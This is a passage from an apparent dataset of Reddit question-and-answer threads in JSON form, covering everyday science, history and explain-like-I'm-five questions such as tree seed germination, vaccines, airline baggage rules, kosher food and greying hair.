this, by making their seeds, the pine cones, open up when on fire, allowing them to take advantage of the new resources.\n\nI'm a High Schooler, so take my answer with a grain of salt. I study Biology though, so there is that.", "Some seeds require specific environmental triggers.\n\nSome pine trees require a forest fire to drop and germinate their seeds.\n\nSome seeds need to be eaten by animals and then pooped out, the animals digestion triggers germination. \n\nOthers need the right number of days in a certain temp range or humidity high enough.", "The quick answer is a lack of squirrels. Most of the seeds get eaten by critters. A lot of trees grow fruit that is eaten by birds for the seeds to be pooped out elsewhere, though, so that doesn't account for all trees.\n\nReally it depends on the tree, but generally it helps to just imagine what happens to the seeds that *don't* grow into a mighty tree. They could be eaten, as previously stated, or pooped out by birds into poor conditions, or fail to get enough sun due to the mother tree, as mentioned in other comments, or swept away by floods, or killed by droughts, or injected with wasp eggs.\n\nReally nature can be quite harsh on seeds, and that doesn't stop once they sprout into saplings, which are also eaten, drowned, deprived of sun, killed by drought, and destroyed by parasites.\n\nThe secret to growing a mighty tree lies in sufficient quantities of luck and evolved resistances to the above threats. Indeed, the reason trees are so mighty to begin with is because they cannot move, and thus evolved to withstand the harshness of nature.", "A lot of times it's the animals.\n\nSquirrels gather up nuts and seeds and bury or stash them all over the place for the winter, they only find about half of them, the other half are in a good spot to grow into a tree.\n\nOther animals exhibit behaviors like this as well, but a squirrel is a perfect example for your question. When the tree drops its acorns, they have very little chance to grow where they land, but mr squirrel is hapy to solve that problem.", "Speaking as a person that grows trees from seeds on purpose- The simplest answer is give the seed what it needs to germinate and support that juvenile growth.   \n\n\nSeeds have different mechanisms to tell them they are in appropriate conditions.  For instance some seeds like American persimmon require cold stratification, IE they need to experience the conditions they would go through in the winter on the ground.  I put them in my refrigerator for a few months.    \nSome seeds require warmth instead.  Some seeds have a very thick shell that requires sometimes years to break down enough so moisture can reach the seed inside (I cut or sand down parts of the shell to speed this up)   \n\n\nOnce the seed germinates, it has to stay in favorable conditions. It needs moisture, once the leaves open, then it needs sunlight to start producing food for itself because the energy in the seed itself will only last a limited time.", "Related question: what is the weed of trees?", "A single tree might shed hundreds or thousands of seeds, few will make it, most will end up eaten birds, squirrels or other rodents, rot, land in an area that doesn't get enough sun or water. Even if a seed lands in some ideal spot, something like a deer might eat the recently sprouted seeding. \n\nFor the rest it's just luck, maybe the this year, the tree dies or gets knocked over in a storm. Then it's a race, whichever seedling gets tall enough and wide enough first to shade out it's competition (which might be offspring of same tree it came from) will win, the rest will most likely die off. \n\nIf you walk in a virgin forest, you'll see tons of dead saplings that lost the race to get to the sunlight first."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "28ld62", "title": "Is it possible to receive so many vaccines that you \"run out\" of Memory B cells?", "selftext": "I know that vaccines work by memory B cells storing the antibodies for different diseases, but is it possible for them to reach some sort of saturation point? It's probably not anywhere near a practical number of vaccines, but is that how it would work?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/28ld62/is_it_possible_to_receive_so_many_vaccines_that/", "answers": {"a_id": ["cic3kka", "cicf4fc", "cicf94s"], "score": [13, 2, 2], "text": ["We have a huge amount of B cells and each reacts to a different antigen ( the part of the protein,microbe or other types of molecules that it recognizes) , when one of them is stimulated by its counterpart it reproduces, creating new B cells that react to that particular antigen, but the other B cells that weren't stimulated don't reproduce, they just stay in their \"unactivated\" state.\nSo the short answer would be no.\nHope i helped you,mif you have any mire questions you can PM me.", "If I may direct you down another line of reasoning: As you age you encounter different diseases (colds and other sicknesses) to which your body creates individual B cells. You will get sick many times more than the amount of immunizations you receive. These immunizations just ensure that you have available memory B cells to produce a response if you encounter the antigen again, and actually decrease in amount over time. This is why shingles is prevalent in elderly society, as the chickenpox (Varicella-Zoster) memory B cells decline in the body and the shingles virus (Herpes-Zoster) is able to replicate. This is not to say that shingles does not occur in younger populations as it can, but more to why you see all of the recommendations at Walgreens to get a shingles vaccine if you are elderly.", "Your thinking is correct that there are a finite number, but it wouldn't actually work because your body produces [about a billion new ones](_URL_0_) *each day*.  So while you could in theory use them all up today, you'd have a billion more tomorrow.\n\nA limitation you'd hit earlier is that if you activated all of them, your body wouldn't have space to store all of the long-lived activated B cells.\n\nBut again, we're talking numbers in the billions, so it's way beyond impractical to hit with vaccines."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://quizlet.com/2495255/ross-immunology-b-cells-flash-cards/"]]}
{"q_id": "227cqs", "title": "Royals like Charles II of Spain were inbred, mentally disabled, and physically unsavory. What did their wives think?", "selftext": "Charles II didn't speak until he was four, and didn't walk until he was eight. His tongue was so large that he drooled frequently, and he was unable to chew due to the \"Hapsburg jaw.\" The physician who performed his autopsy wrote that he \"did not contain a single drop of blood; his heart was the size of a peppercorn; his lungs corroded; his intestines rotten and gangrenous; he had a single testicle, black as coal, and his head was full of water.\"\n\nNonetheless, he married multiple times in a futile effort to produce an heir. I know that marriages at the time were almost entirely political, but I still wonder what the women in question often thought of their situation. Is there any record of any of Charles' wives being dissatisfied or repulsed with their lot in life? What about other women forced to marry and attempt to procreate with kings who were quite clearly mentally or physically incapacitated? Were they brought up to see it simply as their duty?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/227cqs/royals_like_charles_ii_of_spain_were_inbred/", "answers": {"a_id": ["cgkjqdx", "cgkknd7", "cgl3scq"], "score": [20, 28, 9], "text": ["Can anyone tell me what happened here? I wasn't able to see any of the comments before they were deleted.", "I'd like to know how they came to conclusions like that during an autopsy. Clearly they can just open up the head and see there's brains in it and not water?", "Just a note on \"royals like\" - you've picked the most extreme case of the highly inbred Hapsburg line, rather than a representative sample of European royalty."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1efwb4", "title": "Why are night sweats often a sign of a serious illness? What causes the body to sweat to such an extent that your bedsheets are soaked, and why does it happen while we sleep?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1efwb4/why_are_night_sweats_often_a_sign_of_a_serious/", "answers": {"a_id": ["ca017z8", "ca0348i", "ca0bcmu"], "score": [11, 5, 2], "text": ["I think the first question that needs answering is:\n\nAre night sweats a known symptom of certain illnesses?\n", "Night sweats can be associated with fever, which in turn is associated with many illnesses.  The physiological situation from which night sweats arise is as follows:  your body has thermal regulation, and much like the thermal management in your home it has a set point, an air conditioner (cooling mechanism) and a heater (warming mechanism).  The normal set point of your body is 98.6F, when your internal temp starts increasing, your body turns on its cooling mechanism, sweating.  When your internal temperature starts decreasing your body turns on its warming mechanism, shivering.  (Note: these are only the most large scale thermal management techniques, other processes happen as well) \n\nWith a fever, your body changes your set point, from normal 98.6F to something like 102.5F.  Now that the set point is higher, you will find yourself shivering and clammy as your hypothermia responses begin to kick in, until that set point is reached.  When the fever breaks (often in the middle of the night!) your set point returns to 98.6 and now your internal temp is way over normal and how does your body react? Profuse sweating until you have sufficiently cooled off.  \n\n\n\n", "Night sweats are typically associated with insidious types of diseases.  It can result from activation of macrophages (the immune cells in our body that eat cellular debris and pathogens).  The macrophages release chemicals that provide signaling to the rest of the body.  A few of these signals include interlukin 1 and tumor necrosis alpha.  These contribute to fevers that tend to elevate to a low grade in the afternoon/evening and when the fever breaks overnight the person notes sweats.\n\nConditions where this is considered to be a symptoms include things like: certain chronic infections (tuberculosis, mycobacteria), autoimmune (sarcoidosis, pulmonary eosinophilia) and neoplastic/cancerous (lymphoma, multiple myeloma).  All of these aren't great conditions and this is probably why it could be associated with serious illness.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2br8v5", "title": "Is there a record of the first documented killing of a European explorer by a Native American?", "selftext": "Hi there! \n\nI was reading a [Wikipedia page](_URL_0_) on my hometown in New Jersey, and the history section mentioned (or seemed to imply) that it was the site of the first such killing:\n\n > In 1609, Henry Hudson sailed into the Sandy Hook Bay and wrote: \"This is very good land to fall in with and a pleasant land to see. Our men went on land, so they went up into the woods and saw great stores of very goodly oaks and some currants\". One of Hudson\u2019s crew became the first man killed by Native Americans who were frightened by his scouting party.\n\nThere is no citation for this in the Wikipedia page, unfortunately. I'm interested to know if this is true, and, more broadly, if there is any information available about the relationship between these groups in this area. I know this may be a bit narrow as far as questions on this subreddit go, but if anyone has any sort of knowledge about this, I'd so appreciate it! ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2br8v5/is_there_a_record_of_the_first_documented_killing/", "answers": {"a_id": ["cj85874"], "score": [13], "text": ["1609 is pretty late in terms of European contacts with Native Americans. Cortez had already fought a war with the Aztecs 80 years earlier.\n\nI believe the first European documented to be killed by a Native American was Thorvald Eriksson, brother of Leif Eriksson, who the Saga of the Greenlanders states was killed by a Native American while leading the second Icelandic expedition to Vinland (Newfoundland)."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Highlands,_New_Jersey#History"], "answers_urls": [[]]}
{"q_id": "295s3p", "title": "why when i'm by myself when i think about/try to rewatch a movie it will be/is boring, but if i'm with a friend who hasn't seen it, i think it's great and enjoy as if it was the first time i had seen it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/295s3p/eli5_why_when_im_by_myself_when_i_think_abouttry/", "answers": {"a_id": ["cihoqw2"], "score": [3], "text": ["I believe it is partially because you are not only reacting to the scenes by yourself but you are in a way watching your friend react. So for example if you are watching a comedy and you know a really funny scene is coming up your brain realizes this and subconsciously you are waiting for your friend to react to the scene as well. So it is as if you are watching the movie again because you are watching the movie and your friend as well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a1fbwi", "title": "How bright would Andromeda be if it were a quasar?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/a1fbwi/how_bright_would_andromeda_be_if_it_were_a_quasar/", "answers": {"a_id": ["eapgbb4"], "score": [2442], "text": ["A quasar is maybe 1,000 times the brightness of Andromeda or the Milky Way, and all the brightness is concentrated in the centre around the supermassive black hole.\n\nCurrently, Andromeda as a whole has an apparent magnitude of 3.44, which means that the total brightness of the whole thing is about as bright as a fairly moderate star in the night sky. If there was a central point that was 1,000 times brighter, that point would have an apparent magnitude of about -4.\n\nApparent magnitude is a backwards scale where lower numbers are brighter. The brightest star in the sky has an apparent magnitude of -1.46. Venus goes up to -5 at its brightest, and down to about -3 at its dimmest. Mars and Jupiter are about -3 at their brightest. The International Space Station goes up to -5.9, because it's so close. A full Moon is about -13, and the Sun is -27.\n\nSo what we would see is a bright point of light, about the brightness of Venus, in the middle of the Andromeda galaxy. This would be bright enough to see even when the sun is up, at least during sunrise and sunset."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "i65in", "title": "Why is life so short?", "selftext": "I'm asking from an evolutionary standpoint. Surely more long-lived species would survive natural selection better than rival short-lived species? Provided, of course, that those species remain able to procreate for their long lives. Compare a species that has to grow for a long time, has a short period of maturity in which it procreates, and then dies of old age, to a species that has to grow for a long time, procreates an indefinite amount of time, and then dies only if it's stupid enough to get itself killed or at a very old age. I'm thinking the latter would win out the evolutionary race, because it would produce more offspring.\n\nDoes aging provide some evolutionary advantage that I can't see? Or is long life so difficult a problem to solve that millions upon millions of years of evolution haven't provided a single animal that can live considerably longer than a century?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/i65in/why_is_life_so_short/", "answers": {"a_id": ["c217hp3", "c217hyq"], "score": [8, 8], "text": ["The rate of evolution is inversely related to lifespan.  If people lived for 1000 years, we would evolve approximately 15x slower.", "There are *tons* of organisms that live longer than a century.\n\nBowhead whales, it was just discovered, can live longer than 200 years.  Some of the big tortoises live about that long as well.  An Icelandic mollusk has lived around four centuries.\n\nThere's a coral with documented organisms over 2000 years old (_URL_0_).\n\nBristlecone pine can live almost five thousand years."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://people.uncw.edu/pawlikj/xmuta.html"]]}
{"q_id": "1xmxnz", "title": "How did the invention of the gas/electric stove impact cuisine?", "selftext": "I've heard the argument that the innovation of gas and electric stoves/ovens was one of the main drivers in the decline in popularity of hiring servants in the European/American middle class, as cooking was now easier, but did it have any effect on the actual food being cooked at home? Did certain foods get less popular, or were any foods invented to use this new technology? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1xmxnz/how_did_the_invention_of_the_gaselectric_stove/", "answers": {"a_id": ["cfctyk3", "cfcvkoc", "cfcy9il"], "score": [12, 7, 5], "text": ["To piggy back on this, what about cast iron wood burning stoves?\n\nThe first gas ovens appeared in the 1820s, but they did not gain much popularity for nearly 100 years when gas lines became common. \n\nCast iron wood burning stoves, on the other hand, provide nearly the same control over heat/cooking as a gas stove and used a fuel that common people had access too. The first cast iron stoves started gaining popularity around 1728.", "Even more than the stove, the invention of the gas oven changed home baking.  Prior the existence of gas ovens, baking at home was a much bigger deal -- you had to constantly watch it to make sure the temperature was not too high or too low, especially if using a wood-burning oven that had to be constantly stoked and fed fresh wood.  If you read home-management books from the 18th or early 19th century, they have all sorts of tips for help gauge the temperature in the absence of a proper thermometer.", "I have considerable thoughts on this issue, but you'll have to wait until I get home and can type properly. For now, I'll point you Andrea Broomfield's *Food and Cooking in Victorian England*, the best recent book on the topic. The shortest answer to your question is that, at least in Britain, the cuisine had already changed by that point. Urbanization, the growth of the processed food industries, and cast iron stoves brought about considerable change in cuisine some decades before gas stoves became common. One obvious change is that the traditional roasted joints of early modern English cuisine declined because they needed an open hearth and those were very rare in homes by the mid-19th century. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8zleya", "title": "What\u2019s the point of max linear dimensions (L+W+H  < =158cm) rule used by airlines? Why is it not volume based(L*W*H)?", "selftext": "A lot of airlines around the world now have a max linear dimension limit (_URL_0_) and it is typically 158cm.  Apparently some airlines routinely charge the passengers even if the linear dimensions are exceeded by 5 cm.\n\nNow I am guessing this rule was designed keeping suitcases in mind. Assuming a typical suitcase shapte which fulfils this 158 cm rule ( 78+48+32), you end up with a volume of approximately 120Litres. Let\u2019s call this the intended volume limit.  If you are exceeding the dimensions by 5 cm ( 2.5+1.5+1), you could end up with a volume of approximately 131 Litres. i.e 11 litres more than the intended volume limit.\n\nBut if someone checks in a cube shaped box ( each side measuring 158/3 = 52.67cm) with a volume of 146 Litres he is still not charged despite being about 26 litres over the intended volume limit! \n\nFrom the airline\u2019s point of view they are concerned about two things \u2013 volume and weight. Although the liner dimension(L+W+H) has a bearing on the volume, why not be more specific and have a rule about the max volume(L*W*H)? \n\nEdit: calculations ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8zleya/whats_the_point_of_max_linear_dimensions_lwh/", "answers": {"a_id": ["e2jlwyu", "e2jxu7x", "e2lac3p"], "score": [105, 12, 7], "text": ["It\u2019s all about the shape so as not to exceed compartment space and make loading the belly of the aircraft easier. Awkwardly size boxes or luggage \u201ctake up\u201d more space from a loading standpoint, and make a baggage handler\u2019s job more difficult. This effectively limits the volume and shape of luggage, rather than just volume. \n\nI\u2019ve done a loadmaster class in the military and loaded up a few aircraft, I would assume that overly large luggage that may meet a volume standard but break the length standard would be very annoying to pack up.\n\nEdit: spelling ", "TLDR: When airlines impose a maximum allowable value for the summation of all three dimensions for any particular item, this also inherently creates a maximum possible volume (whereas the reverse is not true).\n\nUsing OP's example of L + W + H = 158 cm:\n\nIf you did the math, you would conclude that the maximum volume attainable would be when L = W = H = 158 cm / 3 = 52.67 cm. Assuming no other volume restrictions are in place, the maximum possible volume for an item would be approximately 146,086 cm^3 (146 L).\n\nAs a counter-example, say some other airline restricted items by a maximum allowable volume of 146 L but had no other restrictions on the dimensions. Assuming you're within other tolerance limits (e.g. weight), you would theoretically be permitted to pack things like skis/snowboards, absurdly long pieces of lumber, giant posters, etc. It goes without saying that it would be more difficult and time consuming for staff to fit/secure these items within the cargo area.\n\nRecall OP's typical suitcase example of 32 cm x 48 cm x 78 cm (120 L). Now let's say we had a hypothetical suitcase with dimensions 24 cm x 48 cm x 104 cm (also 120 L). Even though we only reduced the thickness of OP's suitcase by 8 cm, we were able to increase the length by 26 cm while maintaining the same volume limit, but this suitcase would be more problematic for airport/airline staff. Take another hypothetical suitcase with dimensions 16 cm x 48 cm x 156 cm (again, also 120 L). Notice that we reduced the thickness again by only 8 cm, but this time we were able to increase the length by 52 cm compared with the previous suitcase, which is double the increase than when reducing by the initial 8 cm.\n\nIn summary, the theory is that an item is more likely to cause issues when one of its dimensions is significantly longer than any of the other two, than if that item took up slightly more (or even the same amount of) volumetric space.", "The optimisation problem in question is a special case of the bin-packing problem, namely \"Multiple Container Loading Problem (with Preference)\".\n\nThe problem is encountered in various areas (cutting/packing industry, etc) with many different constraints. For an overview, see [1], [2], [[3](_URL_0_)] (PDF) and [[4](_URL_2_)] (PDF - gives a good overview of the literature w.r.t. different constraints but is relatively old). If you sift through the various algorithms - regardless how greedy or naive they are - you will note a common strategy: arranging \"cargo\" into layers and stacking layers in a second phase. These strategies cannot be realised with a volume constraint, because as others have noted already, a volume constraint can result in an allowable object which does not fit in any container, but also is a severely lax requirement that explodes the number of possible layers. While the latter may not make an arrangement of \"weird\" objects impossible - although it is the case that [heterogenous cargo can't always achieve optimal filling ratios](_URL_1_) - it does make the time to find such an arrangement exponentially larger.\n\n\n[1] H. Dyckhoff, A typology of cutting and packing problems,\nEuropean Journal of Operational Research 44 (1990) 145\u2013\n159\n[2] H. Dyckhoff, G. Scheithauer, J. Terno, Cutting and\nPacking, in: M. Dell\u2019Amico, F. Maffioli, S. Martello\n(Eds.), Annotated Bibliographies in Combinatorial Optimization,\nWiley, Chichester, 1997\n"]}, "title_urls": [], "selftext_urls": ["http://www.travelmerry.com/ViewBaggageInfo.aspx"], "answers_urls": [[], [], ["http://www.optimization-online.org/DB_FILE/2017/07/6140.pdf", "http://www.cmesinofrasassi.it/dmdocuments/load%20packing%20optim.pdf", "http://www.fww.ovgu.de/fww_media/femm/femm_2012/2012_07-EGOTEC-503ec3895182dc0d922a6bd7feebb3a5.pdf"]]}
{"q_id": "aw9mbx", "title": "Did the addition of women to juries in the United States contribute to any changes in conviction patterns or the cases that were brought to trial?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/aw9mbx/did_the_addition_of_women_to_juries_in_the_united/", "answers": {"a_id": ["ehn4z2i"], "score": [23], "text": ["This is a fascinating question!  I am also curious in when and how this happened.  I imagine it was state by state, so perhaps not all at once?  Or was it only after the 19th amendment was passed?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cwz5zx", "title": "why has journalism become so unreliable?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cwz5zx/eli5_why_has_journalism_become_so_unreliable/", "answers": {"a_id": ["eygsnq7", "eygsrs3", "eygumrx", "eygzr00", "eyh0xfm", "eyh6gvk", "eyh80nk", "eyh9fi8"], "score": [7, 5, 10, 2, 2, 3, 2, 2], "text": ["Simple answer, money. In the same way that clickbait it used to get people to click on videos, exaggerated or misrepresented stories are used to draw people in. The Internet has made it so that news travels faster than ever and is more prevalent, so journalists need to do something to make their story stand out. If they don't get people engaged with the story they don't make money, and so they will do anything they can to make it interesting.", "Yes. I remember the good old days of morning star and the sun with there unbiased reporting. And nothing beat the papers of the soviet union. That s*** was pure facts. Ok I'm jk but most newspapers have been biased for a long time. Rn we've just moved into the clickbait phase. You need a flashy title to stand out and with the internet anyone can make a news organisation. Also a bit of a russian perspective but from 2006ish news are seen as a way to control the masses and so a lot of rich people and organisations buy them to push there agenda.", "It's been a *very* long time since journalism was reputable. I can't remember a time it ever was in my lifetime. Problem is, people don't really like being presented with information that disagrees with what they already think, so newspapers and stations, and later websites, identified a core audience they could get a lot of money out of (typically various points along the political spectrum) and exploit the shit out of it. So right wing people only read right wing papers so think that their worldview is correct even when its not, because the newspapers are telling them what they want to hear. And left wing people only read left wing papers so think that their worldview is correct even when its not, because the newspapers are telling them what they want to hear. And... I have no idea why people read the sun, but whatever reason it is it affirms that reason without challenging it. \n\nBasically, everyone is being fed information they *want* to hear, rather than the *truth*, because the truth isn't profitable.", "News outlets need to make money. They do it (now) mostly by people clicking or opening their story due to the ads embedded in the story.  It has been found that the more controversial or absurd the story is, the more it gets read.  Real news is boring, so editors embellish a few things to make it interesting, and they make the headline a \"teaser\" so people open the story.  Also, they all need to keep their revenue stream alive so they will feature and overdo any controversial story just for the \"clicks.\"", "Bascially there is more money to be made in publishing a story and then finding out the details were wrong than there is in checking if the details are correct and getting the 'news' out after your rivals. \n\nThis has always been the case. It's just in the time of instant news via the internet, the time you have to publish often isn't long enough to check whether your 'story' breaks the basic laws of physics, so the effect of 'fake news' is more pronounced. \n\nThat said, there still are reputable news sources.", "Unpopular opinion here, but we are at fault here. We as the consumer of news.\n\nNews are a business and they need to sell their product to be profitable. We as a species like flashy, quick news and we like it fast. Too fast for journalist to confirm everything at the risk of losing being first and the visibility that come with it. Basically, the way they work right now is the best way for to make their money and that's because of how most people consume news and on what they click first.", "It's a multifaceted issue.\n\n1) The most popular television network was founded by multiple people who stated that their political allies needed cover in the form of a media network that would always cover them favorably, unlike the journalism of the Nixon era from which they first began planning. From this sprang a media outlet that constantly contradicts the others, yet has taught its viewership that they are the one truth, even as studies show their viewers know less about the world than those who don't follow the news at all.\n\n2) Nearly all journalism is profit-driven, and under capitalism, this mandates that all executive decisions maximize shareholder value. As a result, these organizations strive for the *appearance* of being fair and balanced (even over *actually* being factual and neutral in their reporting) to ensure they have the largest potential audience, who uses them as frequently as possible. That audience can be further manipulated by clickbait and drama, but the \"why\" of those isn't specific to journalism and is covered elsewhere.\n\n3) As a result of this, stories are frequently framed as dramatic conflicts between equal sides, even if, to a neutral outsider, the facts clearly support only one side. A side clearly and constantly lying will be fact-checked less, and less severely (through careful wording of the statement that what they said doesn't match the facts), while the other side will have long-resolved issues brought up repeatedly until \"both sides\" are presented in a way that there's no clear choice and each viewer can justify what they already believe.\n\nIf the house is on fire, and one side argues about what size hose to use, and the other side says to throw gasoline on it, those will be presented as equally valid choices. The internal debate over hoses will be covered endlessly, and the media outlet will scramble to find someone willing to state publicly that gas on fire is a good thing, and that person's statements will be accepted at face value and aired without comment, while the kitchen-math estimate of a hose-wielder is closely scrutinized until both have been equally criticized by the outlet. The story must remain that \"both sides have good points\" even as one side realizes that their points will be endlessly defended even if they are based on blatant and obvious lies; pointing out those lies will always be seen as a partisan thing that only the other side does.\n\n4) Said organizations are also owned by billionaires who have a vested interest in utilizing the outlet to advance their own causes and desires (which frequently involve the methods by which they became and remain billionaires). Candidates that advocate for high taxes on the rich, for example, will be scrutinized the most heavily, often discussed, but always with little editorial swipes that make it clear that they are \"outsiders\" and that other candidates are more popular and that some tiny detail everyone would otherwise forget about becomes a permanent fatal flaw that dogs them throughout the entire election.\n\n5) The advent of new media means that the line of \"journalist\" has blurred, allowing all means of fringe actors and outright propagandists to act under the ostensible wing of \"journalism\" from sites who often proudly proclaim their ideological slant on their About page, if not their actual logo.\n\n6) The ability to filter news by ideology and not once be exposed to different views contributes to polarization of viewers and readers, exacerbating everything above as propaganda outlets whip bigger and bigger frenzies, \"neutral\" outlets cover for bigger lies while making mountains out of ever-decreasing molehills to \"balance,\" owners push harder and harder to delegitimize movements that stand against their status as billionaires, and propagandists and state actors realize they can throw outright *garbage* into the scene, and it will not only be reported by major outlets but vigorously defended.\n\nIt's all these working at once that makes the whole scenario troublesome.", "I think we like to think that this is a recent development, but people have taken issue with journalism for a very long time.\n\nIn 1846, Thoreau wrote (in Walden) that \"to a philosopher, all \"news\", as it is called, is gossip, and they who edit it and read it are old women at tea.\"\n\nNote that he lays the blame at the feet of both the journalist and the consumer...\n\nI'm certain he wasn't the first or last to write about this topic."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "4klz9w", "title": "what is a kosher food and why are salt, pickles, and hot dogs the only ones i ever see at the store?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4klz9w/eli5_what_is_a_kosher_food_and_why_are_salt/", "answers": {"a_id": ["d3fygxb", "d3fyizn", "d3fz03k", "d3fzhn7", "d3fzmrc", "d3g564d", "d3gbtcg"], "score": [7, 21, 19, 11, 34, 2, 2], "text": ["Kosher salt is a larger grain of salt than regular table salt. Kosher pickles are made in the style of the Jewish New York deli. Neither are actually blessed in the \"kosher\" sense. Not sure about kosher hot dogs. ", "Kosher is the Jewish dietary law. Halal is the parallel for Muslims if you're familiar with that.\n\nIn reference to salt, pickles, and hot dogs it normally refers to foods prepared in a particular style, rather than whether or not it actually conforms to the dietary law.", "I'll speak to salt.  Kosher salt isn't a particular variety of salt that is kosher, it's a type of salt that's used in koshering.\n\nKoshering is a process for meats, removing surface blood to comply with kosher dietary laws.\n\nIt's a common ingredient found in grocery stores because it's useful for a variety of recipes.  Kosher salt has a couple of advantages over table salt.  It has a kind of flaky texture that's useful for meats or a salty taste/texture in some recipes, and it doesn't contain iodine.", "Jews have clear rules, laid out in their holy book the Torah, about what kind of food they can eat and how to properly prepare it. Some of the more well-known rules include not being allowed to eat animals with cloven hoofs(such as pigs/pork) or any shellfish such as shrimp or lobster, and not being allowed to prepare or eat meat and dairy together. These rules have many different reasons for being created long ago for many reasons ranging from religious/cultural beliefs to cleanliness and sanitation in a simpler pre-scientific time. The reason you will see certain kosher products in the store a lot is because these rules that producers have to follow to call something kosher often results in a higher quality product that appeals to many non-jews, such as less additives and, as with hot dogs (Hebrew National, yum!), less random and disgusting body parts.", "Lots of foods you see at the store are kosher, which just means suitable for eating by observant Jews. There are many agencies in the US that certify foods as kosher, and it's usually indicated by small logos on the package, which are protected trademarks of the agency doing the certifying. The best known one is the Orthodox Union, indicated by a small U inside a circle.  \n\nVery few products explicitly use the word Kosher. Hebrew National does because that's part of their marketing strategy.  But with kosher salt and kosher pickles, the word \"kosher\" isn't being used to indicate that they're approved for people who observe kosher laws (even though they almost always are).  \n\nKosher salt is called that because part of the process of making meat and poultry kosher is to remove extra blood by sprinkling coarse salt on the raw meat. The name somehow became more common than just calling it coarse salt, but that's all it means. \n\nIn the case of pickles, there are many ways to vary the spices. Some, like bread and butter pickles, are sweeter than most. Kosher pickles are distinguished by using dill and garlic, but also tend to be on the salty side. There's no official definition, so there will be variation in spices even among those labeled as \"kosher pickles\" as part of their name. Personally, I prefer Claussen's Hearty Garlic (which are, like most pickles, certified kosher but aren't called \"kosher pickles\").\n\n", "The kosher aspect of food is *not* simple but as far as stuff you see in a supermarket, [here is an introduction](_URL_0_). None of it needs to be 'blessed' although a prayer is required during slaughter for meat. Bear in mind also that fresh fruit and vegetables are generally kosher without any special requirement. ", "\nYou see a lot of kosher foods in the store and never realize it. If there is a U or a K with a circle around it on the packaging (it'll be small) then that is kosher food. a"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://www.koshercertification.org.uk/whatdoe.html"], []]}
{"q_id": "24efr9", "title": "Does hair turn white after it's grown, or does a hair turn white only once the coloured one falls/is pulled out and a new one starts growing in its place?", "selftext": "We go grey one hair at a time...but where/when does it start?\n\nWhat changes are going on in the follicle when its hair finally goes grey?\n\nI guess the real question is: Do we go grey from the root and the colour grows out, or does a coloured hair need to fall out first before a grey one starts growing in its place? \n\nI haven't found any half-grey hairs yet...", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/24efr9/does_hair_turn_white_after_its_grown_or_does_a/", "answers": {"a_id": ["ch6kuil", "ch6lt6a", "ch6q9zm", "ch6rlh0", "ch6u4og"], "score": [38, 48, 4, 4, 2], "text": ["I read that hair turns white because of a buildup of  hydrogen peroxide that is naturally produced in our follicles due to wear and tear. As you age the amount of hydrogen peroxide builds up until it eventually blocks production of the pigment melanin that gives hair it's colour.\n\nSource:_URL_0_", "The etiology of graying is incompletely understood. Currently, it is mainly considered to be genetic with interplay of various environmental factors. \n\nIn men, graying usually begins at the temples and in the sideburns. Later it spreads to the vertex and the remainder of the scalp, affecting the occiput last. Women usually start graying around the perimeter of the hairline. The rate at which an individual turns gray depends on genetics. It is not uncommon to observe kinships with marked early graying. The rate of graying is also highly variable, not only on different areas of the scalp but also across the body. Beard and body hair are affected later.\n\nThe extraordinary melanogenic activity of pigmented bulbar melanocytes in the growing (anagen) hair follicle, continuing for up to 10 years in some hair follicles generates large amounts of reactive oxygen species (ROS) via the hydroxylation of tyrosine and the oxidation of DOPA to melanin and places melanocytes under a higher oxidative stress load. Impairment of antioxidant system with age probably leads to accumulation of ROS and oxidative stress that damages the melanocyte. \n\nThe hair follicle has a \u201cmelanogentic clock\u201d which slows down or stops melanocyte activity, thus decreasing the pigment our hair receives. This occurs just before the hair is preparing to fall out or shed, so the roots always look pale.\n\n\nSource: [Pandhi D, Khanna D. Premature graying of hair. Indian journal of dermatology, venereology and leprology. 2013;79:641.](_URL_0_)", "I learned about this in my anatomy course in university last semester.\n\nThe hair itself doesn't change color. It will stay the color it originally was until a new one grows in its place. The reason a hair turns white is because the hair follicle stops producing melanin in the melanocytes of the hair follicle. Basically, what this means, is when a follicle's skin cells are reproducing their cells, they clump all of the old, dead cells into the follicle. This will make the cells really compacted and form hair. Usually the replicating skin cells have a cell that produces melanin. This melanin is a skin pigmentation producer. When these melanocytes stop producing melanin, the hair follicle is producing non-pigmented cells, thus turning the hair white. ", "First, let's understand hair. Hair goes through cycles. The hair grows out for some length of time, then stops growing, and falls out. Then it recycles and starts growing again from the same hair follicle. \n  \nInside the hair follicle are melanocytes and melanocyte stem cells. 